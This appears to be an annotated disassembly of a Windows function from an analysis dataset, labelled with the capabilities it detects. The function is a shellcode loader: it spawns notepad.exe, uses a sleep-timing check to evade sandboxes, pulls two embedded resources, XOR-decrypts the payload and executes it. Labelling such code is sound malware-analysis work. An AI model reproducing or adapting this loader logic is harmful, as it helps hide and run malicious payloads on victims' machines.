Function at 0x4018ac
Capabilities:
Create process on windows
Extract resource via kernel32 functions

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0xf4
call sym.___main
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x9c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x9c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0xac]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0xac]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x9c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.C:Windows_notepad.exe
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessW]
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x40197b
mov eax, 0xffffffff
jmp 0x401cbb
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xc], eax
call method.std::chrono::_V2::steady_clock.now__
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], edx
mov dword [esp], 0x1388
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
call method.std::chrono::_V2::steady_clock.now__
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], edx
lea eax, [ebp - 0xb8]
mov dword [esp + 4], eax
lea eax, [ebp - 0xc0]
mov dword [esp], eax
call sym.__ZNSt6chronomiINS_3_V212steady_clockENS_8durationIxSt5ratioILx1ELx1000000000EEEES6_EENSt11common_typeIJT0_T1_EE4typeERKNS_10t
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x50]
mov dword [esp], edx
mov ecx, eax
call method.std::chrono::duration_double__std::ratio_1ll__1ll___::duration_long_long__std.ratio_1ll__1000000000ll___void__std::chrono::duration_long_long__std::ratio_1ll__1000000000ll____const_
sub esp, 4
lea eax, [ebp - 0x58]
mov ecx, eax
call method.std::chrono::duration_double__std::ratio_1ll__1ll___.count___const
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fld qword [0x422108]
fcompi st(1)
fstp st(0)
jbe 0x401a34
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x401cbb
mov dword [esp], 0x4220e2
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualProtect
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x66
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_FindResourceA]
call eax
sub esp, 0xc
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x401a9f
mov eax, 0xffffffff
jmp 0x401cbb
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_LoadResource]
call eax
sub esp, 8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x401aca
mov eax, 0xffffffff
jmp 0x401cbb
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LockResource]
call eax
sub esp, 4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_SizeofResource]
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x65
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_FindResourceA]
call eax
sub esp, 0xc
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x401b64
cmp dword [ebp - 0x20], 0
je 0x401b5a
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 0xffffffff
jmp 0x401cbb
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_LoadResource]
call eax
sub esp, 8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x401ba0
cmp dword [ebp - 0x20], 0
je 0x401b96
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 0xffffffff
jmp 0x401cbb
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LockResource]
call eax
sub esp, 4
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_SizeofResource]
call eax
sub esp, 8
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x3c], 0
je 0x401bda
cmp dword [ebp - 0x40], 0
jne 0x401bf5
cmp dword [ebp - 0x20], 0
je 0x401beb
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 0xffffffff
jmp 0x401cbb
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym.obfuscated_xor_decrypt_unsigned_char_const__unsigned_char__unsigned_char_const__unsigned_int__unsigned_int_
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym.obfuscated_ExecuteShellcode_unsigned_char_const__unsigned_long_
test eax, eax
sete al
test al, al
je 0x401c6e
cmp dword [ebp - 0x44], 0
je 0x401c56
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym.operator_delete___void_
cmp dword [ebp - 0x20], 0
je 0x401c67
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 0xffffffff
jmp 0x401cbb
cmp dword [ebp - 0x44], 0
je 0x401c7f
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym.operator_delete___void_
cmp dword [ebp - 0x20], 0
je 0x401c90
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret